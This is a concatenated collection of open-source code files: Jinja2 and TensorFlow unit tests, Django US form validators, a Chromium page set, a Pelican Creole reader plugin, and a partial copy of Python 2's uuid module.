app.rpc_clients = [
rpc_client_mock1,
rpc_client_mock2,
]
ev_mock = mock.Mock()
app._event_link_add_handler(ev_mock)
rpc_client_mock1.get_proxy.assert_called_once_with()
rpc_client_mock2.get_proxy.assert_called_once_with()
if __name__ == "__main__":
unittest.main()
|
apache-2.0
|
overtherain/scriptfile
|
software/googleAppEngine/lib/jinja2/jinja2/testsuite/api.py
|
90
|
9803
|
# -*- coding: utf-8 -*-
"""
jinja2.testsuite.api
~~~~~~~~~~~~~~~~~~~~
Tests the public API and related stuff.
:copyright: (c) 2010 by the Jinja Team.
:license: BSD, see LICENSE for more details.
"""
import unittest
from jinja2.testsuite import JinjaTestCase
from jinja2 import Environment, Undefined, DebugUndefined, \
StrictUndefined, UndefinedError, meta, \
is_undefined, Template, DictLoader
from jinja2.utils import Cycler
env = Environment()
class ExtendedAPITestCase(JinjaTestCase):
def test_item_and_attribute(self):
from jinja2.sandbox import SandboxedEnvironment
for env in Environment(), SandboxedEnvironment():
# the |list is necessary for python3
tmpl = env.from_string('{{ foo.items()|list }}')
assert tmpl.render(foo={'items': 42}) == "[('items', 42)]"
tmpl = env.from_string('{{ foo|attr("items")()|list }}')
assert tmpl.render(foo={'items': 42}) == "[('items', 42)]"
tmpl = env.from_string('{{ foo["items"] }}')
assert tmpl.render(foo={'items': 42}) == '42'
def test_finalizer(self):
def finalize_none_empty(value):
if value is None:
value = u''
return value
env = Environment(finalize=finalize_none_empty)
tmpl = env.from_string('{% for item in seq %}|{{ item }}{% endfor %}')
assert tmpl.render(seq=(None, 1, "foo")) == '||1|foo'
tmpl = env.from_string('<{{ none }}>')
assert tmpl.render() == '<>'
def test_cycler(self):
items = 1, 2, 3
c = Cycler(*items)
for item in items + items:
assert c.current == item
assert c.next() == item
c.next()
assert c.current == 2
c.reset()
assert c.current == 1
def test_expressions(self):
expr = env.compile_expression("foo")
assert expr() is None
assert expr(foo=42) == 42
expr2 = env.compile_expression("foo", undefined_to_none=False)
assert is_undefined(expr2())
expr = env.compile_expression("42 + foo")
assert expr(foo=42) == 84
def test_template_passthrough(self):
t = Template('Content')
assert env.get_template(t) is t
assert env.select_template([t]) is t
assert env.get_or_select_template([t]) is t
assert env.get_or_select_template(t) is t
def test_autoescape_autoselect(self):
def select_autoescape(name):
if name is None or '.' not in name:
return False
return name.endswith('.html')
env = Environment(autoescape=select_autoescape,
loader=DictLoader({
'test.txt': '{{ foo }}',
'test.html': '{{ foo }}'
}))
t = env.get_template('test.txt')
assert t.render(foo='<foo>') == '<foo>'
t = env.get_template('test.html')
assert t.render(foo='<foo>') == '<foo>'
t = env.from_string('{{ foo }}')
assert t.render(foo='<foo>') == '<foo>'
class MetaTestCase(JinjaTestCase):
def test_find_undeclared_variables(self):
ast = env.parse('{% set foo = 42 %}{{ bar + foo }}')
x = meta.find_undeclared_variables(ast)
assert x == set(['bar'])
ast = env.parse('{% set foo = 42 %}{{ bar + foo }}'
'{% macro meh(x) %}{{ x }}{% endmacro %}'
'{% for item in seq %}{{ muh(item) + meh(seq) }}{% endfor %}')
x = meta.find_undeclared_variables(ast)
assert x == set(['bar', 'seq', 'muh'])
def test_find_refererenced_templates(self):
ast = env.parse('{% extends "layout.html" %}{% include helper %}')
i = meta.find_referenced_templates(ast)
assert i.next() == 'layout.html'
assert i.next() is None
assert list(i) == []
ast = env.parse('{% extends "layout.html" %}'
'{% from "test.html" import a, b as c %}'
'{% import "meh.html" as meh %}'
'{% include "muh.html" %}')
i = meta.find_referenced_templates(ast)
assert list(i) == ['layout.html', 'test.html', 'meh.html', 'muh.html']
def test_find_included_templates(self):
ast = env.parse('{% include ["foo.html", "bar.html"] %}')
i = meta.find_referenced_templates(ast)
assert list(i) == ['foo.html', 'bar.html']
ast = env.parse('{% include ("foo.html", "bar.html") %}')
i = meta.find_referenced_templates(ast)
assert list(i) == ['foo.html', 'bar.html']
ast = env.parse('{% include ["foo.html", "bar.html", foo] %}')
i = meta.find_referenced_templates(ast)
assert list(i) == ['foo.html', 'bar.html', None]
ast = env.parse('{% include ("foo.html", "bar.html", foo) %}')
i = meta.find_referenced_templates(ast)
assert list(i) == ['foo.html', 'bar.html', None]
class StreamingTestCase(JinjaTestCase):
def test_basic_streaming(self):
tmpl = env.from_string("<ul>{% for item in seq %}<li>{{ loop.index "
"}} - {{ item }}</li>{%- endfor %}</ul>")
stream = tmpl.stream(seq=range(4))
self.assert_equal(stream.next(), '<ul>')
self.assert_equal(stream.next(), '<li>1 - 0</li>')
self.assert_equal(stream.next(), '<li>2 - 1</li>')
self.assert_equal(stream.next(), '<li>3 - 2</li>')
self.assert_equal(stream.next(), '<li>4 - 3</li>')
self.assert_equal(stream.next(), '</ul>')
def test_buffered_streaming(self):
tmpl = env.from_string("<ul>{% for item in seq %}<li>{{ loop.index "
"}} - {{ item }}</li>{%- endfor %}</ul>")
stream = tmpl.stream(seq=range(4))
stream.enable_buffering(size=3)
self.assert_equal(stream.next(), u'<ul><li>1 - 0</li><li>2 - 1</li>')
self.assert_equal(stream.next(), u'<li>3 - 2</li><li>4 - 3</li></ul>')
def test_streaming_behavior(self):
tmpl = env.from_string("")
stream = tmpl.stream()
assert not stream.buffered
stream.enable_buffering(20)
assert stream.buffered
stream.disable_buffering()
assert not stream.buffered
class UndefinedTestCase(JinjaTestCase):
def test_stopiteration_is_undefined(self):
def test():
raise StopIteration()
t = Template('A{{ test() }}B')
assert t.render(test=test) == 'AB'
t = Template('A{{ test().missingattribute }}B')
self.assert_raises(UndefinedError, t.render, test=test)
def test_undefined_and_special_attributes(self):
try:
Undefined('Foo').__dict__
except AttributeError:
pass
else:
assert False, "Expected actual attribute error"
def test_default_undefined(self):
env = Environment(undefined=Undefined)
self.assert_equal(env.from_string('{{ missing }}').render(), u'')
self.assert_raises(UndefinedError,
env.from_string('{{ missing.attribute }}').render)
self.assert_equal(env.from_string('{{ missing|list }}').render(), '[]')
self.assert_equal(env.from_string('{{ missing is not defined }}').render(), 'True')
self.assert_equal(env.from_string('{{ foo.missing }}').render(foo=42), '')
self.assert_equal(env.from_string('{{ not missing }}').render(), 'True')
def test_debug_undefined(self):
env = Environment(undefined=DebugUndefined)
self.assert_equal(env.from_string('{{ missing }}').render(), '{{ missing }}')
self.assert_raises(UndefinedError,
env.from_string('{{ missing.attribute }}').render)
self.assert_equal(env.from_string('{{ missing|list }}').render(), '[]')
self.assert_equal(env.from_string('{{ missing is not defined }}').render(), 'True')
self.assert_equal(env.from_string('{{ foo.missing }}').render(foo=42),
u"{{ no such element: int object['missing'] }}")
self.assert_equal(env.from_string('{{ not missing }}').render(), 'True')
def test_strict_undefined(self):
env = Environment(undefined=StrictUndefined)
self.assert_raises(UndefinedError, env.from_string('{{ missing }}').render)
self.assert_raises(UndefinedError, env.from_string('{{ missing.attribute }}').render)
self.assert_raises(UndefinedError, env.from_string('{{ missing|list }}').render)
self.assert_equal(env.from_string('{{ missing is not defined }}').render(), 'True')
self.assert_raises(UndefinedError, env.from_string('{{ foo.missing }}').render, foo=42)
self.assert_raises(UndefinedError, env.from_string('{{ not missing }}').render)
def test_indexing_gives_undefined(self):
t = Template("{{ var[42].foo }}")
self.assert_raises(UndefinedError, t.render, var=0)
def test_none_gives_proper_error(self):
try:
Environment().getattr(None, 'split')()
except UndefinedError, e:
assert e.message == "'None' has no attribute 'split'"
else:
assert False, 'expected exception'
def test_object_repr(self):
try:
Undefined(obj=42, name='upper')()
except UndefinedError, e:
assert e.message == "'int object' has no attribute 'upper'"
else:
assert False, 'expected exception'
def suite():
suite = unittest.TestSuite()
suite.addTest(unittest.makeSuite(ExtendedAPITestCase))
suite.addTest(unittest.makeSuite(MetaTestCase))
suite.addTest(unittest.makeSuite(StreamingTestCase))
suite.addTest(unittest.makeSuite(UndefinedTestCase))
return suite
|
mit
|
tudyzhb/yichui
|
django/contrib/localflavor/us/forms.py
|
87
|
4651
|
"""
USA-specific Form helpers
"""
from __future__ import absolute_import
import re
from django.core.validators import EMPTY_VALUES
from django.forms import ValidationError
from django.forms.fields import Field, RegexField, Select, CharField
from django.utils.encoding import smart_unicode
from django.utils.translation import ugettext_lazy as _
phone_digits_re = re.compile(r'^(?:1-?)?(\d{3})[-\.]?(\d{3})[-\.]?(\d{4})$')
ssn_re = re.compile(r"^(?P<area>\d{3})[-\ ]?(?P<group>\d{2})[-\ ]?(?P<serial>\d{4})$")
class USZipCodeField(RegexField):
default_error_messages = {
'invalid': _('Enter a zip code in the format XXXXX or XXXXX-XXXX.'),
}
def __init__(self, max_length=None, min_length=None, *args, **kwargs):
super(USZipCodeField, self).__init__(r'^\d{5}(?:-\d{4})?$',
max_length, min_length, *args, **kwargs)
class USPhoneNumberField(CharField):
default_error_messages = {
'invalid': _('Phone numbers must be in XXX-XXX-XXXX format.'),
}
def clean(self, value):
super(USPhoneNumberField, self).clean(value)
if value in EMPTY_VALUES:
return u''
value = re.sub('(\(|\)|\s+)', '', smart_unicode(value))
m = phone_digits_re.search(value)
if m:
return u'%s-%s-%s' % (m.group(1), m.group(2), m.group(3))
raise ValidationError(self.error_messages['invalid'])
class USSocialSecurityNumberField(Field):
"""
A United States Social Security number.
Checks the following rules to determine whether the number is valid:
* Conforms to the XXX-XX-XXXX format.
* No group consists entirely of zeroes.
* The leading group is not "666" (block "666" will never be allocated).
* The number is not in the promotional block 987-65-4320 through
987-65-4329, which are permanently invalid.
* The number is not one known to be invalid due to otherwise widespread
promotional use or distribution (e.g., the Woolworth's number or the
1962 promotional number).
"""
default_error_messages = {
'invalid': _('Enter a valid U.S. Social Security number in XXX-XX-XXXX format.'),
}
def clean(self, value):
super(USSocialSecurityNumberField, self).clean(value)
if value in EMPTY_VALUES:
return u''
match = re.match(ssn_re, value)
if not match:
raise ValidationError(self.error_messages['invalid'])
area, group, serial = match.groupdict()['area'], match.groupdict()['group'], match.groupdict()['serial']
# First pass: no blocks of all zeroes.
if area == '000' or \
group == '00' or \
serial == '0000':
raise ValidationError(self.error_messages['invalid'])
# Second pass: promotional and otherwise permanently invalid numbers.
if area == '666' or \
(area == '987' and group == '65' and 4320 <= int(serial) <= 4329) or \
value == '078-05-1120' or \
value == '219-09-9999':
raise ValidationError(self.error_messages['invalid'])
return u'%s-%s-%s' % (area, group, serial)
class USStateField(Field):
"""
A form field that validates its input is a U.S. state name or abbreviation.
It normalizes the input to the standard two-leter postal service
abbreviation for the given state.
"""
default_error_messages = {
'invalid': _('Enter a U.S. state or territory.'),
}
def clean(self, value):
from django.contrib.localflavor.us.us_states import STATES_NORMALIZED
super(USStateField, self).clean(value)
if value in EMPTY_VALUES:
return u''
try:
value = value.strip().lower()
except AttributeError:
pass
else:
try:
return STATES_NORMALIZED[value.strip().lower()].decode('ascii')
except KeyError:
pass
raise ValidationError(self.error_messages['invalid'])
class USStateSelect(Select):
"""
A Select widget that uses a list of U.S. states/territories as its choices.
"""
def __init__(self, attrs=None):
from django.contrib.localflavor.us.us_states import STATE_CHOICES
super(USStateSelect, self).__init__(attrs, choices=STATE_CHOICES)
class USPSSelect(Select):
"""
A Select widget that uses a list of US Postal Service codes as its
choices.
"""
def __init__(self, attrs=None):
from django.contrib.localflavor.us.us_states import USPS_CHOICES
super(USPSSelect, self).__init__(attrs, choices=USPS_CHOICES)
|
bsd-3-clause
|
HKUST-SING/tensorflow
|
tensorflow/contrib/learn/python/learn/utils/gc_test.py
|
11
|
4567
|
# Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for learn.utils.gc."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import re
from six.moves import xrange # pylint: disable=redefined-builtin
from tensorflow.contrib.learn.python.learn.utils import gc
from tensorflow.python.framework import test_util
from tensorflow.python.platform import gfile
from tensorflow.python.platform import test
def tearDownModule():
gfile.DeleteRecursively(test.get_temp_dir())
class GcTest(test_util.TensorFlowTestCase):
def testLargestExportVersions(self):
paths = [gc.Path("/foo", 8), gc.Path("/foo", 9), gc.Path("/foo", 10)]
newest = gc.largest_export_versions(2)
n = newest(paths)
self.assertEquals(n, [gc.Path("/foo", 9), gc.Path("/foo", 10)])
def testLargestExportVersionsDoesNotDeleteZeroFolder(self):
paths = [gc.Path("/foo", 0), gc.Path("/foo", 3)]
newest = gc.largest_export_versions(2)
n = newest(paths)
self.assertEquals(n, [gc.Path("/foo", 0), gc.Path("/foo", 3)])
def testModExportVersion(self):
paths = [
gc.Path("/foo", 4), gc.Path("/foo", 5), gc.Path("/foo", 6),
gc.Path("/foo", 9)
]
mod = gc.mod_export_version(2)
self.assertEquals(mod(paths), [gc.Path("/foo", 4), gc.Path("/foo", 6)])
mod = gc.mod_export_version(3)
self.assertEquals(mod(paths), [gc.Path("/foo", 6), gc.Path("/foo", 9)])
def testOneOfEveryNExportVersions(self):
paths = [
gc.Path("/foo", 0), gc.Path("/foo", 1), gc.Path("/foo", 3),
gc.Path("/foo", 5), gc.Path("/foo", 6), gc.Path("/foo", 7),
gc.Path("/foo", 8), gc.Path("/foo", 33)
]
one_of = gc.one_of_every_n_export_versions(3)
self.assertEquals(
one_of(paths), [
gc.Path("/foo", 3), gc.Path("/foo", 6), gc.Path("/foo", 8),
gc.Path("/foo", 33)
])
def testOneOfEveryNExportVersionsZero(self):
# Zero is a special case since it gets rolled into the first interval.
# Test that here.
paths = [gc.Path("/foo", 0), gc.Path("/foo", 4), gc.Path("/foo", 5)]
one_of = gc.one_of_every_n_export_versions(3)
self.assertEquals(one_of(paths), [gc.Path("/foo", 0), gc.Path("/foo", 5)])
def testUnion(self):
paths = []
for i in xrange(10):
paths.append(gc.Path("/foo", i))
f = gc.union(gc.largest_export_versions(3), gc.mod_export_version(3))
self.assertEquals(
f(paths), [
gc.Path("/foo", 0), gc.Path("/foo", 3), gc.Path("/foo", 6),
gc.Path("/foo", 7), gc.Path("/foo", 8), gc.Path("/foo", 9)
])
def testNegation(self):
paths = [
gc.Path("/foo", 4), gc.Path("/foo", 5), gc.Path("/foo", 6),
gc.Path("/foo", 9)
]
mod = gc.negation(gc.mod_export_version(2))
self.assertEquals(mod(paths), [gc.Path("/foo", 5), gc.Path("/foo", 9)])
mod = gc.negation(gc.mod_export_version(3))
self.assertEquals(mod(paths), [gc.Path("/foo", 4), gc.Path("/foo", 5)])
def testPathsWithParse(self):
base_dir = os.path.join(test.get_temp_dir(), "paths_parse")
self.assertFalse(gfile.Exists(base_dir))
for p in xrange(3):
gfile.MakeDirs(os.path.join(base_dir, "%d" % p))
# add a base_directory to ignore
gfile.MakeDirs(os.path.join(base_dir, "ignore"))
# create a simple parser that pulls the export_version from the directory.
def parser(path):
match = re.match("^" + base_dir + "/(\\d+)$", path.path)
if not match:
return None
return path._replace(export_version=int(match.group(1)))
self.assertEquals(
gc.get_paths(
base_dir, parser=parser), [
gc.Path(os.path.join(base_dir, "0"), 0),
gc.Path(os.path.join(base_dir, "1"), 1),
gc.Path(os.path.join(base_dir, "2"), 2)
])
if __name__ == "__main__":
test.main()
|
apache-2.0
|
axinging/chromium-crosswalk
|
tools/perf/page_sets/page_reload_cases.py
|
22
|
1393
|
# Copyright 2015 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
from telemetry.page import shared_page_state
from telemetry import story
from page_sets import top_pages
def _Reload(action_runner):
# Numbers below are chosen arbitrarily. For the V8DetachedContextAgeInGC
# the number of reloads should be high enough so that V8 could do few
# incremental GCs.
NUMBER_OF_RELOADS = 7
WAIT_TIME = 2
for _ in xrange(NUMBER_OF_RELOADS):
action_runner.ReloadPage()
action_runner.Wait(WAIT_TIME)
def _CreatePageClassWithReload(page_cls):
class DerivedSmoothPage(page_cls): # pylint: disable=no-init
def RunPageInteractions(self, action_runner):
_Reload(action_runner)
return DerivedSmoothPage
class PageReloadCasesPageSet(story.StorySet):
""" Pages for testing GC efficiency on page reload. """
def __init__(self):
super(PageReloadCasesPageSet, self).__init__(
archive_data_file='data/top_25.json',
cloud_storage_bucket=story.PARTNER_BUCKET)
shared_desktop_state = shared_page_state.SharedDesktopPageState
self.AddStory(_CreatePageClassWithReload(
top_pages.GoogleWebSearchPage)(self, shared_desktop_state))
self.AddStory(_CreatePageClassWithReload(
top_pages.GoogleDocPage)(self, shared_desktop_state))
|
bsd-3-clause
|
jeorryb/datarambler
|
plugins/creole_reader/creole_reader.py
|
71
|
2939
|
#-*- conding: utf-8 -*-
'''
Creole Reader
-------------
This plugins allows you to write your posts using the wikicreole syntax. Give to
these files the creole extension.
For the syntax, look at: http://www.wikicreole.org/
'''
from pelican import readers
from pelican import signals
from pelican import settings
from pelican.utils import pelican_open
try:
from creole import creole2html
creole = True
except ImportError:
creole = False
try:
from pygments import lexers
from pygments.formatters import HtmlFormatter
from pygments import highlight
PYGMENTS = True
except:
PYGMENTS = False
class CreoleReader(readers.BaseReader):
enabled = creole
file_extensions = ['creole']
def __init__(self, settings):
super(CreoleReader, self).__init__(settings)
def _parse_header_macro(self, text):
for line in text.split('\n'):
name, value = line.split(':')
name, value = name.strip(), value.strip()
if name == 'title':
self._metadata[name] = value
else:
self._metadata[name] = self.process_metadata(name, value)
return u''
def _no_highlight(self, text):
html = u'\n<pre><code>{}</code></pre>\n'.format(text)
return html
def _get_lexer(self, source_type, code):
try:
return lexers.get_lexer_by_name(source_type)
except:
return lexers.guess_lexer(code)
def _get_formatter(self):
formatter = HtmlFormatter(lineos = True, encoding='utf-8',
style='colorful', outencoding='utf-8',
cssclass='pygments')
return formatter
def _parse_code_macro(self, ext, text):
if not PYGMENTS:
return self._no_highlight(text)
try:
source_type = ''
if '.' in ext:
source_type = ext.strip().split('.')[1]
else:
source_type = ext.strip()
except IndexError:
source_type = ''
lexer = self._get_lexer(source_type, text)
formatter = self._get_formatter()
try:
return highlight(text, lexer, formatter).decode('utf-8')
except:
return self._no_highlight(text)
# You need to have a read method, which takes a filename and returns
# some content and the associated metadata.
def read(self, source_path):
"""Parse content and metadata of creole files"""
self._metadata = {}
with pelican_open(source_path) as text:
content = creole2html(text, macros={'header': self._parse_header_macro,
'code': self._parse_code_macro})
return content, self._metadata
def add_reader(readers):
readers.reader_classes['creole'] = CreoleReader
def register():
signals.readers_init.connect(add_reader)
|
mit
|
vFense/vFenseAgent-nix
|
agent/deps/mac/Python-2.7.5/lib/python2.7/uuid.py
|
187
|
21095
|
r"""UUID objects (universally unique identifiers) according to RFC 4122.
This module provides immutable UUID objects (class UUID) and the functions
uuid1(), uuid3(), uuid4(), uuid5() for generating version 1, 3, 4, and 5
UUIDs as specified in RFC 4122.
If all you want is a unique ID, you should probably call uuid1() or uuid4().
Note that uuid1() may compromise privacy since it creates a UUID containing
the computer's network address. uuid4() creates a random UUID.
Typical usage:
>>> import uuid
# make a UUID based on the host ID and current time
>>> uuid.uuid1()
UUID('a8098c1a-f86e-11da-bd1a-00112444be1e')
# make a UUID using an MD5 hash of a namespace UUID and a name
>>> uuid.uuid3(uuid.NAMESPACE_DNS, 'python.org')
UUID('6fa459ea-ee8a-3ca4-894e-db77e160355e')
# make a random UUID
>>> uuid.uuid4()
UUID('16fd2706-8baf-433b-82eb-8c7fada847da')
# make a UUID using a SHA-1 hash of a namespace UUID and a name
>>> uuid.uuid5(uuid.NAMESPACE_DNS, 'python.org')
UUID('886313e1-3b8a-5372-9b90-0c9aee199e5d')
# make a UUID from a string of hex digits (braces and hyphens ignored)
>>> x = uuid.UUID('{00010203-0405-0607-0809-0a0b0c0d0e0f}')
# convert a UUID to a string of hex digits in standard form
>>> str(x)
'00010203-0405-0607-0809-0a0b0c0d0e0f'
# get the raw 16 bytes of the UUID
>>> x.bytes
'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f'
# make a UUID from a 16-byte string
>>> uuid.UUID(bytes=x.bytes)
UUID('00010203-0405-0607-0809-0a0b0c0d0e0f')
"""
__author__ = 'Ka-Ping Yee <[email protected]>'
RESERVED_NCS, RFC_4122, RESERVED_MICROSOFT, RESERVED_FUTURE = [
'reserved for NCS compatibility', 'specified in RFC 4122',
'reserved for Microsoft compatibility', 'reserved for future definition']
class UUID(object):
"""Instances of the UUID class represent UUIDs as specified in RFC 4122.
UUID objects are immutable, hashable, and usable as dictionary keys.
Converting a UUID to a string with str() yields something in the form
'12345678-1234-1234-1234-123456789abc'. The UUID constructor accepts
five possible forms: a similar string of hexadecimal digits, or a tuple
of six integer fields (with 32-bit, 16-bit, 16-bit, 8-bit, 8-bit, and
48-bit values respectively) as an argument named 'fields', or a string
of 16 bytes (with all the integer fields in big-endian order) as an
argument named 'bytes', or a string of 16 bytes (with the first three
fields in little-endian order) as an argument named 'bytes_le', or a
single 128-bit integer as an argument named 'int'.
UUIDs have these read-only attributes:
bytes the UUID as a 16-byte string (containing the six
integer fields in big-endian byte order)
bytes_le the UUID as a 16-byte string (with time_low, time_mid,
and time_hi_version in little-endian byte order)
fields a tuple of the six integer fields of the UUID,
which are also available as six individual attributes
and two derived attributes:
time_low the first 32 bits of the UUID
time_mid the next 16 bits of the UUID
time_hi_version the next 16 bits of the UUID
clock_seq_hi_variant the next 8 bits of the UUID
clock_seq_low the next 8 bits of the UUID
node the last 48 bits of the UUID
time the 60-bit timestamp
clock_seq the 14-bit sequence number
hex the UUID as a 32-character hexadecimal string
int the UUID as a 128-bit integer
urn the UUID as a URN as specified in RFC 4122
variant the UUID variant (one of the constants RESERVED_NCS,
RFC_4122, RESERVED_MICROSOFT, or RESERVED_FUTURE)
version the UUID version number (1 through 5, meaningful only
when the variant is RFC_4122)
"""
def __init__(self, hex=None, bytes=None, bytes_le=None, fields=None,
int=None, version=None):
r"""Create a UUID from either a string of 32 hexadecimal digits,
a string of 16 bytes as the 'bytes' argument, a string of 16 bytes
in little-endian order as the 'bytes_le' argument, a tuple of six
integers (32-bit time_low, 16-bit time_mid, 16-bit time_hi_version,
8-bit clock_seq_hi_variant, 8-bit clock_seq_low, 48-bit node) as
the 'fields' argument, or a single 128-bit integer as the 'int'
argument. When a string of hex digits is given, curly braces,
hyphens, and a URN prefix are all optional. For example, these
expressions all yield the same UUID:
UUID('{12345678-1234-5678-1234-567812345678}')
UUID('12345678123456781234567812345678')
UUID('urn:uuid:12345678-1234-5678-1234-567812345678')
UUID(bytes='\x12\x34\x56\x78'*4)
UUID(bytes_le='\x78\x56\x34\x12\x34\x12\x78\x56' +
'\x12\x34\x56\x78\x12\x34\x56\x78')
UUID(fields=(0x12345678, 0x1234, 0x5678, 0x12, 0x34, 0x567812345678))
UUID(int=0x12345678123456781234567812345678)
Exactly one of 'hex', 'bytes', 'bytes_le', 'fields', or 'int' must
be given. The 'version' argument is optional; if given, the resulting
UUID will have its variant and version set according to RFC 4122,
overriding the given 'hex', 'bytes', 'bytes_le', 'fields', or 'int'.
"""
if [hex, bytes, bytes_le, fields, int].count(None) != 4:
raise TypeError('need one of hex, bytes, bytes_le, fields, or int')
if hex is not None:
hex = hex.replace('urn:', '').replace('uuid:', '')
hex = hex.strip('{}').replace('-', '')
if len(hex) != 32:
raise ValueError('badly formed hexadecimal UUID string')
int = long(hex, 16)
if bytes_le is not None:
if len(bytes_le) != 16:
raise ValueError('bytes_le is not a 16-char string')
bytes = (bytes_le[3] + bytes_le[2] + bytes_le[1] + bytes_le[0] +
bytes_le[5] + bytes_le[4] + bytes_le[7] + bytes_le[6] +
bytes_le[8:])
if bytes is not None:
if len(bytes) != 16:
raise ValueError('bytes is not a 16-char string')
int = long(('%02x'*16) % tuple(map(ord, bytes)), 16)
if fields is not None:
if len(fields) != 6:
raise ValueError('fields is not a 6-tuple')
(time_low, time_mid, time_hi_version,
clock_seq_hi_variant, clock_seq_low, node) = fields
if not 0 <= time_low < 1<<32L:
raise ValueError('field 1 out of range (need a 32-bit value)')
if not 0 <= time_mid < 1<<16L:
raise ValueError('field 2 out of range (need a 16-bit value)')
if not 0 <= time_hi_version < 1<<16L:
raise ValueError('field 3 out of range (need a 16-bit value)')
if not 0 <= clock_seq_hi_variant < 1<<8L:
raise ValueError('field 4 out of range (need an 8-bit value)')
if not 0 <= clock_seq_low < 1<<8L:
raise ValueError('field 5 out of range (need an 8-bit value)')
if not 0 <= node < 1<<48L:
raise ValueError('field 6 out of range (need a 48-bit value)')
clock_seq = (clock_seq_hi_variant << 8L) | clock_seq_low
int = ((time_low << 96L) | (time_mid << 80L) |
(time_hi_version << 64L) | (clock_seq << 48L) | node)
if int is not None:
if not 0 <= int < 1<<128L:
raise ValueError('int is out of range (need a 128-bit value)')
if version is not None:
if not 1 <= version <= 5:
raise ValueError('illegal version number')
# Set the variant to RFC 4122.
int &= ~(0xc000 << 48L)
int |= 0x8000 << 48L
# Set the version number.
int &= ~(0xf000 << 64L)
int |= version << 76L
self.__dict__['int'] = int
def __cmp__(self, other):
if isinstance(other, UUID):
return cmp(self.int, other.int)
return NotImplemented
def __hash__(self):
return hash(self.int)
def __int__(self):
return self.int
def __repr__(self):
return 'UUID(%r)' % str(self)
def __setattr__(self, name, value):
raise TypeError('UUID objects are immutable')
def __str__(self):
hex = '%032x' % self.int
return '%s-%s-%s-%s-%s' % (
hex[:8], hex[8:12], hex[12:16], hex[16:20], hex[20:])
def get_bytes(self):
bytes = ''
for shift in range(0, 128, 8):
bytes = chr((self.int >> shift) & 0xff) + bytes
return bytes
bytes = property(get_bytes)
def get_bytes_le(self):
bytes = self.bytes
return (bytes[3] + bytes[2] + bytes[1] + bytes[0] +
bytes[5] + bytes[4] + bytes[7] + bytes[6] + bytes[8:])
bytes_le = property(get_bytes_le)
def get_fields(self):
return (self.time_low, self.time_mid, self.time_hi_version,
self.clock_seq_hi_variant, self.clock_seq_low, self.node)
fields = property(get_fields)
def get_time_low(self):
return self.int >> 96L
time_low = property(get_time_low)
def get_time_mid(self):
return (self.int >> 80L) & 0xffff
time_mid = property(get_time_mid)
def get_time_hi_version(self):
return (self.int >> 64L) & 0xffff
time_hi_version = property(get_time_hi_version)
def get_clock_seq_hi_variant(self):
return (self.int >> 56L) & 0xff
clock_seq_hi_variant = property(get_clock_seq_hi_variant)
def get_clock_seq_low(self):
return (self.int >> 48L) & 0xff
clock_seq_low = property(get_clock_seq_low)
def get_time(self):
return (((self.time_hi_version & 0x0fffL) << 48L) |
(self.time_mid << 32L) | self.time_low)
time = property(get_time)
def get_clock_seq(self):
return (((self.clock_seq_hi_variant & 0x3fL) << 8L) |
self.clock_seq_low)
clock_seq = property(get_clock_seq)
def get_node(self):
return self.int & 0xffffffffffff
node = property(get_node)
def get_hex(self):
return '%032x' % self.int
hex = property(get_hex)
def get_urn(self):
return 'urn:uuid:' + str(self)
urn = property(get_urn)
def get_variant(self):
if not self.int & (0x8000 << 48L):
return RESERVED_NCS
elif not self.int & (0x4000 << 48L):
return RFC_4122
elif not self.int & (0x2000 << 48L):
return RESERVED_MICROSOFT
else:
return RESERVED_FUTURE
variant = property(get_variant)
def get_version(self):
# The version bits are only meaningful for RFC 4122 UUIDs.
if self.variant == RFC_4122:
return int((self.int >> 76L) & 0xf)
version = property(get_version)
def _find_mac(command, args, hw_identifiers, get_index):
import os
for dir in ['', '/sbin/', '/usr/sbin']:
executable = os.path.join(dir, command)
if not os.path.exists(executable):
continue
try:
# LC_ALL to get English output, 2>/dev/null to
# prevent output on stderr
cmd = 'LC_ALL=C %s %s 2>/dev/null' % (executable, args)
with os.popen(cmd) as pipe:
for line in pipe:
words = line.lower().split()
for i in range(len(words)):
if words[i] in hw_identifiers:
return int(
words[get_index(i)].replace(':', ''), 16)
except IOError:
continue
return None
def _ifconfig_getnode():
"""Get the hardware address on Unix by running ifconfig."""
# This works on Linux ('' or '-a'), Tru64 ('-av'), but not all Unixes.
for args in ('', '-a', '-av'):
mac = _find_mac('ifconfig', args, ['hwaddr', 'ether'], lambda i: i+1)
if mac:
return mac
import socket
ip_addr = socket.gethostbyname(socket.gethostname())
# Try getting the MAC addr from arp based on our IP address (Solaris).
mac = _find_mac('arp', '-an', [ip_addr], lambda i: -1)
if mac:
return mac
# This might work on HP-UX.
mac = _find_mac('lanscan', '-ai', ['lan0'], lambda i: 0)
if mac:
return mac
return None
def _ipconfig_getnode():
"""Get the hardware address on Windows by running ipconfig.exe."""
import os, re
dirs = ['', r'c:\windows\system32', r'c:\winnt\system32']
try:
import ctypes
buffer = ctypes.create_string_buffer(300)
ctypes.windll.kernel32.GetSystemDirectoryA(buffer, 300)
dirs.insert(0, buffer.value.decode('mbcs'))
except:
pass
for dir in dirs:
try:
pipe = os.popen(os.path.join(dir, 'ipconfig') + ' /all')
except IOError:
continue
else:
for line in pipe:
value = line.split(':')[-1].strip().lower()
if re.match('([0-9a-f][0-9a-f]-){5}[0-9a-f][0-9a-f]', value):
return int(value.replace('-', ''), 16)
finally:
pipe.close()
def _netbios_getnode():
"""Get the hardware address on Windows using NetBIOS calls.
See http://support.microsoft.com/kb/118623 for details."""
import win32wnet, netbios
ncb = netbios.NCB()
ncb.Command = netbios.NCBENUM
ncb.Buffer = adapters = netbios.LANA_ENUM()
adapters._pack()
if win32wnet.Netbios(ncb) != 0:
return
adapters._unpack()
for i in range(adapters.length):
ncb.Reset()
ncb.Command = netbios.NCBRESET
ncb.Lana_num = ord(adapters.lana[i])
if win32wnet.Netbios(ncb) != 0:
continue
ncb.Reset()
ncb.Command = netbios.NCBASTAT
ncb.Lana_num = ord(adapters.lana[i])
